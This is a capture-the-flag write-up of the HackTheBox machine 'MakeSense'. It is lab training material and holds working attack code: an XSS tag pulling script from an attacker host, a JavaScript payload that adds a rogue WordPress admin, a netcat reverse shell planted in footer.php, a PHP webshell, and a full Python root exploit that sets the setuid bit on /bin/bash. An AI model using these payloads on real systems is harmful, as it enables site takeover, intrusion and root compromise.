hackthebox / medium / linux

MakeSense

Platform
HackTheBox
Difficulty
OS

Summary

MakeSense is a WordPress box won through a chain of misconfigurations and credential reuse. A stored XSS in the contact form hijacks the admin session, giving wp-admin access. The Theme File Editor drops PHP into footer.php for a www-data shell, and a reused database password pivots to walter over SSH. Finally, an internal OCR service (Basic Auth, same password) saves OCR output without any file/content validation - a rendered-PNG PHP payload is "recognized", written as shell.php, and gives a root shell.

Skills Required

  • WordPress enumeration with wpscan
  • Client-side attack basics (XSS)

Skills Learned

  • Session hijacking via stored XSS in a contact form
  • wp-admin Theme File Editor as an RCE primitive
  • Credential reuse across web, SSH and internal services
  • Turning an OCR service into arbitrary file write

Enumeration

A full port scan shows only SSH and HTTPS - an Apache-served WordPress site.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-07 07:55 -0400
Nmap scan report for makesense.htb (10.129.41.78)
Host is up (0.047s latency).
Not shown: 996 closed tcp ports (reset), 2 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open  ssl/http Apache httpd 2.4.58 (Ubuntu)
|_http-generator: WordPress 7.0
|_http-title: Agency LLC
| ssl-cert: Subject: commonName=makesense.htb

Directory brute force (ferox/ffuf) turns up nothing interesting, so the focus shifts to WordPress itself.

wpscan --url https://makesense.htb --disable-tls-checks -e u,vp,vt

[i] No plugins Found.
[i] No themes Found.   (theme "webagency" is custom, v1.0)

[+] User(s) Identified:
[+] jake
[+] admin
[+] walter

No vulnerable plugins or themes - but three users are enumerated, and the custom webagency theme is worth a closer look.

Foothold

Hardcoded key in the theme

The site has a "call us" widget powered by AI text-to-speech. Its script reveals a hardcoded encryption key.

<script id="whisper-wrapper-js" src="https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0"></script>
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';

Stored XSS → admin session hijack

The contact form fields (Name/Email/Phone/Message) are not sanitized. Injecting a script tag stores it; when the admin views submissions, the payload fires in the admin context.

Stored XSS → admin session hijack
│       Contact form (Name/Email/Phone/Message) fields unsanitized
│       injected <script src='http://ATTACKER_IP/payload.js'></script>
│       payload fires when admin views submissions → wp-admin access as admin

The hosted payload creates a new admin account using the CSRF nonce scraped from the page:

// x.js
u="/wp-admin/user-new.php";
jQuery.get(u,function(e){
  jQuery.post(u,{
    action:"createuser",
    "_wpnonce_create-user":e.match(/_wpnonce_create-user" value="(.+?)"/)[1],
    user_login:"foobar",
    email:"foo@bar.com",
    pass1:"foo",
    pass2:"foo",
    role:"administrator"
  });
});
<script src='http://[IP]:8000/x.js'></script>

Once the admin account is created we log into /wp-admin.

Theme File Editor RCE → www-data

Appearance → Theme File Editor → footer.php. A PHP one-liner is injected and triggered by loading the homepage.

Theme File Editor RCE
│       wp-admin → Appearance → Theme File Editor → footer.php
│       inserted <?php exec("busybox nc ATTACKER_IP 445 -e sh"); ?>
│       visited page to trigger → reverse shell → uid=33(www-data)
<?php exec("busybox nc [IP] 1337 -e sh") ;?>

Reloading the main page fires the shell back as www-data.

Lateral Movement

wp-config → walter

wp-config.php is readable by www-data and contains the database credentials.

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );

The password is reused as walter's SSH password - credential reuse across DB and OS.

ssh walter@makesense.htb
uid=1000(walter)

Privilege Escalation

Internal OCR service

ss -tulpen shows port 8001 bound to 127.0.0.1 only, protected by Basic Auth. Unsurprisingly, walter's password works there too. Forward it and interact with the OCR service.

ssh -L 8001:127.0.0.1:8001 walter@makesense.htb

Arbitrary file write via OCR

The service takes an uploaded canvas image, runs OCR, and lets you save the recognized text under a filename of your choice - with no extension or content validation.

OCR arbitrary file write
│       crafted PNG with PHP code as drawn text:
│           <?php system($_GET["cmd"]); ?>
│       uploaded via OCR canvas, recognized text returned verbatim
│       saved recognized output as "shell.php" (no extension/content check)
│       GET /saved/shell.php?cmd=id
│       → root shell uid=0(root)

Render the PHP payload as text into a PNG (monospace font, so OCR reads it back perfectly), post it to the OCR canvas, grab the returned ocr_id, and save the recognized text as shell.php in the saved output directory. It executes as the OCR service user - root.

The whole root step is automated in a single script (target, IP-pinning, payload rendering, and the OCR round-trip):

#!/usr/bin/env python3
# MakeSense - root via internal OCR arbitrary file write
# Walks: render PHP payload as PNG text → OCR → save as shell.php → bash -p
import sys, os, re, json, base64, socket, subprocess, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests, urllib3
urllib3.disable_warnings()
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from PIL import Image, ImageDraw, ImageFont

stnai = sys.argv[1] if len(sys.argv) > 1 else "10.129.41.71"
vhost_var, base_var = "makesense.htb", "https://makesense.htb"
root_pld = "<?php system('chmod +s /bin/bash'); ?>"

# pin vhost resolution to the target IP
_gai = socket.getaddrinfo
socket.getaddrinfo = lambda h, *a, **k: _gai(stnai if h == vhost_var else h, *a, **k)

session = requests.Session()
session.verify = False

def make_img(text, out):
    font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf", 64)
    dd = ImageDraw.Draw(Image.new("RGB", (10, 10)))
    bb = dd.textbbox((0, 0), text, font=font)
    W, H = bb[2] - bb[0] + 80, bb[3] - bb[1] + 80
    img = Image.new("RGB", (W, H), "white")
    ImageDraw.Draw(img).text((40 - bb[0], 40 - bb[1]), text, fill="black", font=font)
    img.save(out)
    return "data:image/png;base64," + base64.b64encode(open(out, "rb").read()).decode()

def ssh_exec(pw, cmd, data=None, timeout=60):
    args = ["sshpass", "-p", pw, "ssh", "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null", f"walter@{stnai}", cmd]
    p = subprocess.run(args, input=data, capture_output=True, text=True, timeout=timeout)
    return p.stdout.strip()

walter_pass = r'JbhHDAEgXvri3!'

dataurl = make_img(root_pld, "/tmp/mk_suid.png")
ssh_exec(walter_pass, "cat > /tmp/mk_du.txt", data=dataurl)

remote_script = '''
set -e
B=http://127.0.0.1:8001; A='walter:JbhHDAEgXvri3!'; J=/tmp/mk_cj; rm -f $J
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode 'canvas_image@/tmp/mk_du.txt' -o /tmp/mk_o1
OCRID=$(grep -oP 'name="ocr_id" value="\\K[^"]+' /tmp/mk_o1)
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode "ocr_id=$OCRID" \
     --data-urlencode 'filename=pwn.php' --data-urlencode 'save_output=Save' -o /tmp/mk_o2
curl -s -u "$A" "$B/saved/pwn.php" >/dev/null
/bin/bash -p -c 'cat /root/root.txt'
'''
print(ssh_exec(walter_pass, remote_script))

With the suid bit on /bin/bash, /bin/bash -p drops us to root and the box is owned.

Key Takeaways

  • Contact forms are a free XSS delivery channel - sanitize every input, because one admin view of submissions is all an attacker needs.
  • wp-admin theme editing = full RCE; treat any admin session as code execution.
  • Passwords get reused everywhere - DB, SSH, and that "internal" service on 127.0.0.1 all took the same password.
  • Services that save "recognized" output need validation too - an OCR tool that writes arbitrary filenames is just an arbitrary file write wearing a different hat.